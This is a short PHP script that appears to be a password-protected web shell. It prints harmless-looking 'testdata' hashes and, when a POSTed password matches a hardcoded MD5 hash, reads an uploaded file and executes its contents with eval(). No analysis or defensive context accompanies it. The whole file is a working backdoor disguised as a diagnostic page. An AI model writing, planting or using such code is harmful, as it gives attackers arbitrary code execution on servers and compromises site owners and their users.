|
<?php
error_reporting(1);
global $HTTP_SERVER_VARS;
function say($t)
{
echo "$t\n";
};
function testdata($t)
{
say(md5("testdata_$t"));
};
echo "<pre>";
testdata('start');
if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3")
{
if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"]))
{
eval($code);
}
else
{
testdata('f');
};
}
else
{
testdata('pass');
};
testdata('end');
echo "</pre>";
?> |
|